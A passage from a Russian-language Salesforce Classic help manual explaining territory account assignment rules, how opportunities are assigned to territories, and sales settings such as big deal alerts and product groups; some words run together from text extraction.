стандартногоилинастраиваемогополяорганизации (например, индекс, область, отрасль,
доход или количество сотрудников). Каждое правило содержит несколько критериев,
которые определяют способ назначения организаций.

Ниже перечислены условия, регулирующие правила назначения организации.

• Территория может применять наследованные правила назначения организации, то
есть правила, созданные в вышестоящих территориях иерархии, также влияют на
данную территорию.

• Территория может применять локально определенные правила назначения
организации, то есть правила, созданные в данной территории.

• Территория, в которойнеприменяютсянаследованныеилилокальноопределенные
правила назначения организации, содержит только организации, добавленные
вручную.

• Организация, которая соответствует всемнаследованнымилокальноопределенным
правилам назначения, заданным для нескольких территорий одной и той же ветви
иерархии, назначается самой нижней совпадающей территории.

• Организация, которая соответствует всем наследованным и только некоторым
локально определенным правилам назначения, заданным для территории, не
назначается территории, но оценивается для дочерних территорий.

Допустим, иерархия содержит три территории.

• Территория «A» использует четыре правила с меткой «Применить к дочерним
территориям» и является родительской для территории «Б».

– Территория «Б» использует три правила с меткой «Применить к дочерним
территориям» и является родительской для территории «В».

• Территория «В» использует два правила.

Организация, которая соответствует всем правилам территорий «А» и «В», но только одному правилу территории «Б»,
назначается территории «В». Однако, еслиправила территории «Б» имеютметку «Применить к дочерним территориям»,
то эта организация назначается только территории «А».

Работа с правилами назначения организации
Чтобы оценить активные наследованные и локально определенные правила, доступные на странице, для всех текущих
организаций, нажмите кнопку «Выполнить правила» на странице сведений о территории. Кроме того, оценка правил
распространяется на все подчиненные территории, то есть при запуске правил для территории верхнего уровня
оцениваютсявсеправила, заданныевиерархии. Принажатиикнопки «Выполнитьправила» значок ( ), указывающий
на обработку правил, отображается напротив кнопки для всех зависимых территорий. По завершении обработки
пользователю отправляется электронное подтверждение.

Прим.: При наличии значка обработки территория не может быть изменена. В противном случае данные могут
быть искажены.
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Чтобыоткрыть страницу «Управлениеправиламиназначенияорганизации», котораяпозволяет создавать, редактировать,
просматривать и выполнять правила назначения организации, нажмите кнопку «Управление правилами» на странице
сведений о территории.

• Чтобы создать правило, нажмите кнопку «Создать». Чтобы изменить текущее правило, щелкните ссылку «Правка».
См. раздел «Создание и редактирование правил назначения организации» на странице 2075.

• Чтобы присвоить локально определенному правилу статус активного или неактивного, установите или снимите
флажок «Активно».

Ниже перечислены условия, при выполнении которых активные правила автоматически оценивают организации и
назначают их территориям.

– Организация создана посредством пользовательского интерфейса Salesforce, Force.com API или клиентского
приложения (например, Connect Offline).

– Организация импортирована посредством мастера импорта.

– Организация создана путем преобразования интереса.

– Организацияизмененаи сохранена, еслифлажок «Выбрать по умолчанию» установлендляпараметра «Флажок
"При сохранении оценить данную организацию по правилам территории"» в разделе «Свойства макета».
Еслиправилоназначенияорганизацииинициируетизменениеответственностиза возможность, то возможность
должна быть доступна для переноса.

– Организация изменена и сохранена посредством Force.com API.

– Кнопка «Выполнить правила» нажата на странице сведений о территории, при условии, что снят флажок
«Исключить из правил назначения территорий» для организации.

– Кнопка «Сохранитьивыполнитьправила»нажатана страницеуправленияправиламиназначенияорганизации,
при условии, что снят флажок «Исключить из правил назначения территорий» для организации.

– Повторяющиеся организации объединены.

• Чтобы просмотреть сведения о правиле, включая его статус и критерии, щелкните имя нужного правила. Страница
сведений о правиле позволяет редактировать, удалять или клонировать правило.

• Чтобы просмотреть организации, которые будут назначены данной территории и ее дочерним территориям при
выполнении активных правил, щелкните «Предварительныйпросмотр». См. раздел «Предварительныйпросмотр
назначений организации» на странице 2077.

• Чтобы сохранить активный статус локально определенных правил, нажмите кнопку «Сохранить».

• Чтобысохранитьактивныйстатуслокальноопределенныхправилиоценитьнаследованныеилокальноопределенные
правила, доступныенастранице, длявсехтекущихорганизаций, нажмитекнопку«Сохранитьивыполнитьправила».
Выполняемые правила назначения организации также охватывают организации, перемещенные в корзину.

Чтобы установить или снять флажок «Ограничить назначение возможности», нажмите кнопку «Правка» на странице
сведений о территории. При выполнении правил назначения организации данныйфлажок позволяет сохранить
возможности в текущей или дочерних территориях. Ниже перечислены возможные исключения.

• Если организация возможности переносится в одну дочернюю территорию, то возможность назначается новой
территории организации. Данное исключение распространяется на те случаи, когда организация переносится в
несколько территорий, из которых только одна территория является дочерней для исходной территории.

• Если организация возможности переносится в несколько дочерних территорий, то поле территории возможности
становится пустым.

• Если организация возможности переносится за пределы текущей и дочерних территорий, то поле территории
возможности становится пустым.
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Совет: Кроме того, правила назначения организации могут управляться посредством Data Loader или Web Services
API.

Правила назначения организации и возможности
Нижеперечисленыфакторы, определяющиеспособназначения возможностей территориям, используемыйправилами
назначения организации.

• Количество территорий, назначенных организации, которая связана с возможностью

• Принадлежность ответственного за возможность и организации к одной территории

• Количество пользователей, назначенных территории

• Назначение менеджера прогнозов для территории

Прим.: Если правило назначения организации инициирует изменение ответственности за возможность при
обновленииорганизации, инициирующейвыполнениеправиланазначенияорганизации, которое являетсячастью
функции управления территориями, то возможность должна быть доступна для переноса.

Организации с одной территорией

Чтобы определить способ назначения территории возможности, воспользуйтесь таблицей ниже в том случае, если
организация, связанная с возможностью, назначена только одной территории.

РезультатыМенеджер прогнозов
назначен территории

Количество
пользователей,
назначенных
территории

Ответственный
за возможность и
организация
принадлежат
одной
территории

Возможность назначается той же территории,
что и организация. Ответственный за
возможность не меняется.

—1Да

Возможность назначается той же территории,
что и организация; ответственный за

—1Нет

возможность является единственным
участником территории.

Возможность назначается той же территории,
что и организация; ответственный за

—0Нет

возможность добавляется в качестве
неактивного участника территории.
Ответственный за возможность не меняется.

Возможность назначается той же территории,
что и организация; менеджер прогнозов
становится ответственным за возможность.

Да>1Да

Возможность назначается той же территории,
что и организация. Ответственный за

Нет>1Да

возможность не меняется, если для него
установленфлажок «Активно в территории»
на странице сведений о территории.
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РезультатыМенеджер прогнозов
назначен территории

Количество
пользователей,
назначенных
территории

Ответственный
за возможность и
организация
принадлежат
одной
территории

Возможностьназначаетсяменеджерупрогнозов
территории.

Да>1Нет

Возможность назначается той же территории,
что и организация; ответственный за

Нет>1Нет

возможность добавляется в качестве
неактивного участника территории.
Ответственный за возможность не меняется.

Организации с несколькими территориями

Чтобы определить способ назначения территории возможности, воспользуйтесь таблицей ниже в том случае, если
организация, связанная с возможностью, назначена нескольким территориям.

РезультатыУчастники территории ответственного за возможность

Возможность не назначается ни одной
территории. Ответственный за возможность

Ответственный за возможность и организация имеют одну общую
территорию

может назначить возможность общей
территории.

Возможность не назначается ни одной
территории. Ответственный за возможность

Ответственныйзавозможностьиорганизацияимеютнесколькообщих
территорий

может назначить возможность любой общей
территории.

Возможность не назначается ни одной
территории. Ответственный за возможность

Ответственный за возможность и организация не имеют общих
территорий

не может назначить возможность ни одной из
территорий.

Назначения территории для стандартных пользователей

Система Salesforce автоматически назначает территорию новой возможности только в том случае, если пользователь и
организацияимеютоднуобщуютерриторию, авозможностьсозданастандартнымпользователем. Например, стандартный
пользовательВладимир, назначенныйтолькотерритории «Запад», создает возможностьдляорганизации «ОООЦветы»,
которая, помимо территории «Запад», принадлежит еще одной территории. Пользователь Владимир и организация
«ОООЦветы» имеют одну общую территорию, поэтому новая возможность назначается территории «Запад». Если бы
пользователь Владимир принадлежал другой территории организации, то возможность не была бы назначена этой
территории.

Чтобыопределить случаиназначения территориивозможности, созданнойстандартнымпользователем, воспользуйтесь
таблицей ниже.
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РезультатыОтветственный
за возможность
и организация
принадлежат
одной
территории

Количество
территорий,
назначенных
организации

Количество территорий,
назначенных пользователю

Возможность назначается общей территории.Да11

Возможность назначается территории
организации в том случае, если пользователь
принадлежит этой же территории.

Да1>1

Возможность назначается территории
пользователя в том случае, если организация
связана с этой же территорией.

Да>11

Возможность не назначается ни одной
территории. Ответственный за возможность

Да>1>1

может назначить возможность любой общей
территории.

Возможность не назначается ни одной
территории.

Нет——

Назначения территории для администраторов

Пользователь, которому назначена роль администратора или предоставлено полномочие «Управление территориями»,
может просматривать все территории.

Система Salesforce автоматически назначает территорию новой возможности только в том случае, если администратор,
текущая и родительские организации имеют одну общую территорию, а возможность создана администратором,
делегированным администратором территории или пользователем с полномочием «Управление территориями».
Например, администраторИрина, управляющаятерриториями «Север» и «Запад», создает возможностьдляорганизации
«Петров и товарищи», которая связана с территориями «Север» и «Юг». Организация «Петров и товарищи» имеет одну
родительскуюорганизацию («Натуральныепродукты»), котораяназначенатерриториям «Север» и «Восток». Администратор
Ирина, организация «Петров и товарищи» и родительская организация «Натуральные продукты» имеют только одну
общую территорию («Север»), поэтому новая возможность назначается именно этой территории. Если бы организация
«Петрови товарищи» илиродительскаяорганизация «Натуральныепродукты» такжепринадлежала территории «Запад»,
то возможность не была бы назначена этой территории.

Чтобыопределить случаиназначения территориивозможности, созданнойадминистратором, воспользуйтесь таблицей
ниже.
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РезультатыОтветственный
за возможность
управляет
территорией
текущей и
родительской
организаций

Количество
территорий,
назначенных
родительским
организациям

Количество
территорий,
назначенных
организации

Количество
территорий,
управляемых
администратором

Возможность назначается общей
территории.

Да111

Возможность назначается общей
территории.

Да11>1

Возможность назначается общей
территории.

Да1>11

Возможность назначается общей
территории.

Да>111

Возможность назначается территории
родительской организации только в том

Да1>1>1

случае, если администратор и организация
не имеют других общих территорий.
Ответственный за возможность может
вручную назначить возможность любой
общей территории.

Возможность назначается территории
администратора только в том случае, если

Да>1>11

текущая и родительские организации не
имеют других общих территорий.
Ответственный за возможность может
вручную назначить возможность любой
общей территории.

Возможность назначается территории
организации только в том случае, если

Да>11>1

администраториродительскиеорганизации
не имеют других общих территорий.
Ответственный за возможность может
вручную назначить возможность любой
общей территории.

Возможность назначается территории
администратора только в том случае, если

Да>1>1>1

администратор, текущая и родительские
организации не имеют других общих
территорий. Ответственныйза возможность
может вручную назначить возможность
любой общей территории.
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РезультатыОтветственный
за возможность
управляет
территорией
текущей и
родительской
организаций

Количество
территорий,
назначенных
родительским
организациям

Количество
территорий,
назначенных
организации

Количество
территорий,
управляемых
администратором

Возможность не назначается ни одной
территории.

Нет———

СМ. ТАКЖЕ:

Создание и редактирование правил назначения организации

Предварительный просмотр назначений организации

Отображение и редактирование территорий

Назначение возможностей территориям

Создание и редактирование правил назначения организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования правил
назначения организации:
• «Управление

территориями»

ИЛИ

You are a forecast
manager. Forecast
managers can manage
territories of those users
working below them in
territory hierarchy.

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

Длятерриторииможетбыть заданонеболее15правилназначенияорганизации, включая
активные и неактивные правила. Чтобы создать или изменить правило назначения
организации, выполните указанные ниже действия.

1. В настройке введите «Иерархия» в поле «Быстрый поиск», затем выберите
«Иерархия территорий».

2. Выберите нужную территорию.

3. Нажмитекнопку«Управлениеправилами»всвязанномсписке «Правиланазначения
организаций».

4. Чтобыдобавитьновоеправилоназначенияорганизации, нажмитекнопку«Создать».
Чтобы изменить текущее правило назначения организации, нажмите кнопку
«Правка».

5. Введите имя правила. Имя правила должно быть уникальным и может содержать не
более 80 символов.

6. Определите критерии фильтрации организаций, подлежащих добавлению в
территорию.

Если в организации включена многоязычная поддержка, то критерии могут быть
заданы на языке по умолчанию. При использовании раскрывающихся списков для
определения критериевфильтрации выбранные значения хранятся на стандартном
языке организации. При редактировании или клонировании текущих критериев
фильтрации рекомендуем сначала задать полю «Стандартный язык» на странице
«Сведенияокомпании» язык, использовавшийсядляопределенияисходныхкритериев
фильтрации. Впротивномслучае критериифильтрациимогутне быть оцененыкак
ожидалось.
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7. Чтобы применить правило к дочерним территориям, установите флажок «Применить к дочерним территориям».

8. Чтобы активировать правило, установите флажок «Активно». Неактивные правила не запускаются.

Ниже перечислены условия, при выполнении которых активные правила автоматически оценивают организации и
назначают их территориям.

• Организация создана посредством пользовательского интерфейса Salesforce, Force.com API или клиентского
приложения (например, Connect Offline).

• Организация импортирована посредством мастера импорта.

• Организация создана путем преобразования интереса.

• Организацияизмененаи сохранена, еслифлажок «Выбрать по умолчанию» установлендляпараметра «Флажок
"При сохранении оценить данную организацию по правилам территории"» в разделе «Свойства макета».
Еслиправилоназначенияорганизацииинициируетизменениеответственностиза возможность, то возможность
должна быть доступна для переноса.

• Организация изменена и сохранена посредством Force.com API.

• Кнопка «Запускправил»нажатана странице сведенийотерритории, приусловии, что снятфлажок «Исключить
из правил назначения территорий» для организации.

• Кнопка «Сохранитьизапуститьправила»нажатана страницеуправленияправиламиназначенияорганизации,
при условии, что снят флажок «Исключить из правил назначения территорий» для организации.

• Повторяющиеся организации объединены.

9. Чтобы сохранить правило, нажмите кнопку «Сохранить». Чтобы сохранить правило и добавить новое, нажмите
кнопку «Сохранить и создать».

Совет: Чтобы создать иерархию, в которой все организации соответствуют критериям верхнего уровня, а
подчиненныетерриториисодержаторганизации, соответствующиеболее точнымкритериям, рекомендуемсоздать
как минимум одно правило назначения организации, применимое к дочерним территориям, на верхнем уровне
иерархии.

Если в организации включена поддержка подразделений, рекомендуем создать на верхнем уровне иерархии
территорийправило, котороефильтрует организациипоподразделениюиприменяется к дочернимтерриториям.

СМ. ТАКЖЕ:

Управление правилами назначения организации

Предварительный просмотр назначений организации

Отображение и редактирование территорий
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Предварительный просмотр назначений организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для предварительного
просмотра назначений
организации в территориях:
• «Управление

территориями»

ИЛИ

You are a forecast
manager. Forecast
managers can manage
territories of those users
working below them in
territory hierarchy.

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

Чтобы просмотреть организации, которые будут назначены текущей и нижестоящим
территориямвслучаевыполненияактивныхправилназначенияорганизации, выполните
указанные ниже действия.

1. Последовательновыберитепункты«Управлениеправилами» > «Предварительный
просмотр» на странице сведений о территории.

2. Чтобысохранитьправилавкачестве активных, нажмитекнопку «Сохранить». Чтобы
сохранить правила в качестве активных и оценить правила для всех текущих
организаций, нажмите кнопку «Сохранить и запустить правила».

Прим.: Выполняемые правила назначения организации также охватывают
организации, перемещенные в корзину.

СМ. ТАКЖЕ:

Управление правилами назначения организации

Создание и редактирование правил назначения организации

Отображение и редактирование территорий

Просмотр списков наследованных правил

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
наследованных правил:
• «Просмотр настройки и

конфигурации»

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

Страницасоспискомнаследованныхправилсодержитправиланазначенияорганизации,
унаследованные от выбранной территории. Данная страница позволяет просмотреть
подробные сведения о правилах, а также сведения об отдельных правилах.

• Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление в раскрывающемся списке «Просмотр» илищелкните ссылку
«Создать новое представление» для разработки собственных настраиваемых
представлений.

• Чтобы просмотреть сведения о правиле, щелкните имя нужного правила.

СМ. ТАКЖЕ:

Управление территориями

Назначение организаций вручную территориям
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Назначение организаций вручную территориям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления
организаций вручную в
территории:
• «Управление

территориями»

И

«Редактирование» для
организаций

ИЛИ

Пользователь является
менеджером прогнозов,
установлен флажок
«Управление
территориями может
осуществляться
менеджерами
прогнозов»,
пользователь работает
ниже собственного
уровня в иерархии
территорий,
пользователю
предоставлено
полномочие
«Редактирование» для
организаций.

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

Помимосозданияивыполненияправилназначения, организациимогутбытьдобавлены
в территории вручную.

1. Нажмите кнопку «Добавить организации» в связанном списке «Организации,
назначенные вручную» на странице сведений о территории.

2. Выберите нужное представление в раскрывающемся списке или щелкните ссылку
«Создать новое представление» для разработки собственного настраиваемого
представления.

3. Чтобы переместить организации из списка доступных в список выбранных или
наоборот, щелкните «Выбрать» или «Отменить выбор». Ниже перечислены
дополнительные доступные действия.

• Чтобы просмотреть список организаций, имена которых начинаются с
определенной буквы, щелкните эту букву.

• Чтобы просмотреть список всех организаций, соответствующих критерию
текущего представления, щелкните «Все».

• Чтобы переместить все доступные организации в список выбранных, щелкните
«выбрать перечисленное».

• Чтобы переместить организации из списка выбранных в список доступных,
щелкните «отменить выбор перечисленного» или «отменить выбор».

4. Выберите организации, которые должны быть вручную добавлены в территорию,
и нажмите кнопку «Назначить».

Прим.: Добавление организаций вручную не связано с выполнением правил
назначенияорганизации. Организация, добавленная вручную, можетбыть удалена
из территории только вручную. Кроме того, организации могут быть добавлены
в территории посредством правил назначения.

СМ. ТАКЖЕ:

Отображение и редактирование территорий
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Настройка параметров продаж

Пользовательская настройка коммерческих возможностей и продуктов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Все
выпуски для организаций,
активированные до лета
2009 г.

Доступно в версиях:
Выпуски Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer для
организаций,
активированные до лета
2009 г.

Извлекайте наибольшую пользу от использования коммерческих возможностей и
продуктов, настроив следующие дополнительные функции.

Включение и настройка похожих возможностей
Предоставьте пользователям возможность находить закрытые и реализованные
возможности, соответствующие атрибутам возможности, с которой они сейчас
работают, а затемлегконаходитьсведения, которыемогутпомочьзакрыватьоткрытые
сделки.

Простое добавление продуктов для возможностей
Настройте в Salesforce напоминания для пользователей о необходимости добавлять
продукты для создаваемых возможностей. При выборе параметра «Напоминать
пользователям о необходимости добавления продуктов в возможности» в
настройках возможности кнопка сохранения для записи новой возможности будет
называться «Сохранить и добавить продукт».

Включение напоминаний об обновлении возможности
Обновленныеипроверенныевозможностигарантируютсозданиеточныхпрогнозов.
Включение напоминаний об обновлении позволяет менеджерам автоматически
направлять своимнепосредственнымподчиненнымсообщенияэлектроннойпочты
с отчетом об открытых возможностях группы.

Активация и деактивация цен на продукты одновременно с активацией и деактивацией продуктов
Salesforce можно настроить так, чтобы при активации или деактивации продукта все связанные цены на этот продукт
одновременно активировались или деактивировались.

Ограничение на редактирования цены и количества продуктов для возможности
Можноопределять, разрешенолипользователямменять значенияполей «Цена» и «Количество» для возможностей.

Активация предупреждений о крупных сделках
Организация может использовать предупреждения, которые автоматически отправляют электронные уведомления
окрупныхпотенциальныхсделках. Организацияпозволяетактивироватьтолькооднопредупреждениеовозможности.
Сообщение-предупреждение напоминает страницу сведений о возможности, включая макет страницы и язык
выбранного пользователя.

Настройка предупреждений о крупной сделке
Организация может использовать предупреждения, которые автоматически отправляют электронные уведомления
о крупных потенциальных сделках. Благодаря настройке данного предупреждения, пользователи могут получать
электронные уведомления о достижении возможностью порогового значения.

СМ. ТАКЖЕ:

Возможности
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Включение и настройка похожих возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Все
выпуски для организаций,
активированные до лета
2009 г.

Доступно в версиях:
Выпуски Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer для
организаций,
активированные до лета
2009 г.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения и настройки
похожих возможностей:
• «Настройка

приложения»

Предоставьте пользователям возможность находить закрытые и реализованные
возможности, соответствующиеатрибутамвозможности, скоторойонисейчасработают,
а затем легко находить сведения, которые могут помочь закрывать открытые сделки.

Прим.:

• Поиск организуется с помощью операторовИЛИ. Таким образом, для того,
чтобысчитатьзакрытуюилиреализованнуювозможностьпохожей, онадолжна
соответствовать только одному критерию. Для оптимизации поиска
рекомендуется использовать несколько критериев

• Принимая решение о том, какие поля возможности будут отображаться в
соответствующем списке похожих возможностей, имейте в виду, что
пользователи будут видеть все отображаемые поля, независимо от правил
общего доступа и полномочий.

1. Внастройкевведите «Похожие возможности» вполе «Быстрый поиск», затемвыберите
<b>«Похожие возможности»</b>.

2. Нажмите кнопку «Правка».

3. Установите флажок «Включить функцию "Похожие возможности"».

4. Выберите поля или связанные списки, которые должны использоваться при поиске
похожих возможностей, и нажмите кнопку «Добавить».

5. Выберите поля, которые должны отображаться в связанном списке «Похожие
возможности».

6. Нажмите кнопку «Сохранить».

7. Добавьтесвязанныйсписок «Похожиевозможности» вмакетстраницывозможностей.

СМ. ТАКЖЕ:

Рекомендации по поиску похожих коммерческих возможностей

Простое добавление продуктов для возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Настройте в Salesforce напоминания для пользователей о необходимости добавлять
продукты для создаваемых возможностей. При выборе параметра «Напоминать
пользователям о необходимости добавления продуктов в возможности» внастройках
возможности кнопка сохранения для записи новой возможности будет называться
«Сохранить и добавить продукт».

СМ. ТАКЖЕ:

Понятие продукта
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Включение напоминаний об обновлении возможности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения
напоминаний об
обновлении возможности:
• «Настройка

приложения» ИЛИ
«Управление
пользователями»

Для активации или
деактивации напоминаний
об обновлении
возможности:
• «Управление

пользователями»

Обновленные и проверенные возможности гарантируют создание точных прогнозов.
Включение напоминаний об обновлении позволяет менеджерам автоматически
направлять своим непосредственным подчиненным сообщения электронной почты с
отчетом об открытых возможностях группы.

1. Введите строку «Напоминания об обновлении» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Напоминания об обновлении».

2. Нажмите кнопку «Правка».

3. Установите флажок «Включить напоминания об обновлении для моей
организации».

4. Чтобы запланировать напоминания об обновлении возможности для всех
пользователей с прямыми подчиненными, установите флажок «Автоматически
активировать напоминания для пользователей с прямыми подчиненными».

5. Нажмите кнопку «Сохранить».

6. Если вы автоматически не активировали всех пользователей с непосредственными
подчиненными, выберите пользователей, которым будет разрешено планировать
напоминанияобобновлениивозможностей. Добавитьможнолюбогопользователя
с непосредственными подчиненными.

7. Нажмите кнопку «Активировать».

8. Уведомитеэтихпользователейотом, чтоонимогутначатьпланироватьнапоминания
об обновлении для своих непосредственных подчиненных.

Прим.: Если ответственный за организацию может направлять напоминания об
обновлении возможности, то все пользователи партнерского и клиентского
порталов, являющиесяруководителямиорганизации, такжебудутполучатьданные
напоминания даже при отсутствии доступа к возможности. Чтобы отменить
отправкунапоминанийданнымпользователям, удалитеихизроли «Руководитель».

СМ. ТАКЖЕ:

Рекомендации по поиску похожих коммерческих возможностей
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Активация и деактивация цен на продукты одновременно с активацией и деактивацией продуктов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для автоматической
активации или деактивации
цен на продукты:
• «Настройка

приложения»

Salesforce можно настроить так, чтобы при активации или деактивации продукта все
связанные цены на этот продукт одновременно активировались или деактивировались.

1. Введитестроку «Параметры продукта» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт <b>«Параметры продукта»</b>.

2. Установите флажок «В результате изменения флага активации...».

3. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Ограничение на редактирования цены и количества продуктов для возможности

Понятие продукта

Ограничение на редактирования цены и количества продуктов для возможности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для ограничения на
редактирование цены и
количества:
• «Настройка

приложения»

Можно определять, разрешено ли пользователям менять значения полей «Цена» и
«Количество» для возможностей.

Чтобыгарантироватьиспользованиецены, указаннойв связанномпрайс-листе, удалите
поле «Продажная цена» из макета страницы продуктов возможности.

Чтобы использовать все продукты возможности в единственном экземпляре, удалите
поле «Количество» из макета страницы продуктов возможности.

Прим.: Чтобывключитьвозможность удаленияданныхполейизмакета страницы,
обратитесь в компанию Salesforce.

СМ. ТАКЖЕ:

Активацияидеактивацияценнапродуктыодновременносактивациейидеактивацией
продуктов

Понятие продукта

Активация предупреждений о крупных сделках
Организацияможетиспользоватьпредупреждения, которыеавтоматическиотправляют
электронные уведомления о крупных потенциальных сделках. Организация позволяет
активироватьтолькооднопредупреждениеовозможности. Сообщение-предупреждение
напоминает страницу сведений о возможности, включая макет страницы и язык выбранного пользователя.
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Прежде чем начать работу, рекомендуем выбрать пользователя, макет страницы и параметры языка которого должны
использоваться во всех предупреждениях. Данному пользователю должно быть предоставлено полномочие «Просмотр
всех данных».

1. Введите строку «Оповещение о крупной сделке» в поле «Быстрый поиск» и выберите пункт «Оповещениеокрупной
сделке».

2. Введите имя предупреждения.

3. Заполните поля «Вероятность триггера» и «Количество триггеров» в валюте компании. Предупреждение о
возможности отображается для возможностей с данной вероятностью и заданным или большим количеством.
Предупреждение отображается только для тех возможностей, которые соответствуют обоим пороговым значениям.

Прим.: Предупреждениеокрупнойсделкеможетбытьинициированодажетойвозможностью, валютакоторой
отличается от валюты компании. Значение поля возможности «Стоимость» преобразуется в валюту компании
исопоставляетсяспараметром «Количество триггеров». Прииспользованиифункциирасширенногоуправления
валютами используются датированные курсы обмена.

4. Чтобы активировать новое предупреждение сразу после сохранения, установите флажок «Активно».

5. Заполните поле «Имя эл. почты отправителя».

6. Заполните поле «Адрес эл. почты отправителя».

Прим.: Адрес отправителя должен совпадать либо с одним из проверенных единых электронных адресов
организации, либо с адресом электронной почты, перечисленным в профиле Salesforce.

7. Выберите пользователя, который предоставит соответствующий макет страницы возможностей, а также параметры
языка и валюты для содержимого сообщений эл. почты. Данному пользователю должно быть предоставлено
полномочие «Просмотр всех данных».

Если организация использует мультивалюту, то все предупреждения содержат суммы в валюте возможности. Если
валюта возможности отличается от валюты пользователя, выбранного в данном действии, то сообщение эл. почты
содержит обе валюты.

Введитеименаполучателейсообщенияэл. почтычерез запятую. Принеобходимостивоспользуйтесьполями «Копия»
и «СК:», которые могут содержать только действительные адреса эл. почты.

Поле «СК:» недоступно, если в организации включена поддержка скрытых копий сообщений эл. почты о
соответствии.

8. Чтобы отправить электронное предупреждение ответственному за возможность, установите флажок «Уведомить
ответственного за возможность».

9. Нажмите кнопку «Сохранить».

Прим.: Предупреждениеовозможностиотправляетуведомлениеприпервомдостижениивозможностьюпорогового
значения. Так, возможность, достигшаяпорогового значения с вероятностью 90%, неинициирует дополнительные
предупреждения в случае последующего повышения вероятности. Тем не менее, возможность, инициировавшая
отправкупредупрежденияи затемопустившаясянижепорогового значения, можетинициироватьотправку второго
предупреждения при повторном достижении порогового значения.

2083

Настройка параметров продажНастройка и обслуживание инструментов продаж



ПриложениеConnect Offline, используемоедляудаленногодоступа, позволяетизменятьвозможности, инициирующие
предупреждения. Данные сообщения-предупреждения отправляются при обновлении данных.

СМ. ТАКЖЕ:

Настройка предупреждений о крупной сделке

Настройка предупреждений о крупной сделке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для активации
предупреждений о крупной
сделке:
• «Настройка

приложения»

Организацияможетиспользоватьпредупреждения, которыеавтоматическиотправляют
электронные уведомления о крупных потенциальных сделках. Благодаря настройке
данного предупреждения, пользователи могут получать электронные уведомления о
достижении возможностью порогового значения.

Пороговое значение состоит из стоимости возможности и вероятности. Например,
рабочей группе может быть отправлено электронное уведомление о том, что
потенциальная сделка стоимостью 500 000 долларов достигла вероятности 90%.

СМ. ТАКЖЕ:

Активация предупреждений о крупных сделках
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Использование групп продуктов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования групп
продуктов:
• «Настройка

приложения»

Чтобывыбратькатегориюпродукта, воспользуйтесьраскрывающимсясписком «Группа
продуктов». Например, есликомпанияпродает аппаратноеипрограммноеобеспечение,
рекомендуемсоздатьдве группыпродуктов: «Аппаратноеобеспечение» и «Программное
обеспечение».

Есливорганизациивключенафункциянастраиваемогопрогнозирования, тоаппаратное
ипрограммноеобеспечениеможетпродаватьсянаосноверазныхплановпродаж. Кроме
того, пользователи могут просматривать прогнозы для возможностей с аппаратным
обеспечениемотдельноотпрогнозовдлявозможностейспрограммнымобеспечением.

Чтобы начать использование групп продуктов, выполните указанные ниже действия.

• Настройтераскрывающийсясписок «Группа продуктов», которыйможетсодержать
разные категории продаваемых продуктов.

• Измените каждый продукт в прайс-листе и выберите соответствующее значение в
раскрывающемся списке «Группа продуктов».

• Если в организации включена функция настраиваемого прогнозирования, задайте
каждой группе продуктов отдельный план продаж.

• Есливорганизациивключенафункциянастраиваемогопрогнозирования, измените
параметры прогнозов, чтобы при выборе вкладки «Прогнозы» по умолчанию
отображалась определенная группа продуктов.

СМ. ТАКЖЕ:

Понятие продукта

Включение расписаний продуктов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Создайтерасписанияпоступлениядоходовиобъемовпродукции, которыепоставляются
или оплачиваются в течение промежутка времени. Кроме того, администраторы могут
включать параметры расписаний, позволяющие пользователям создавать расписания
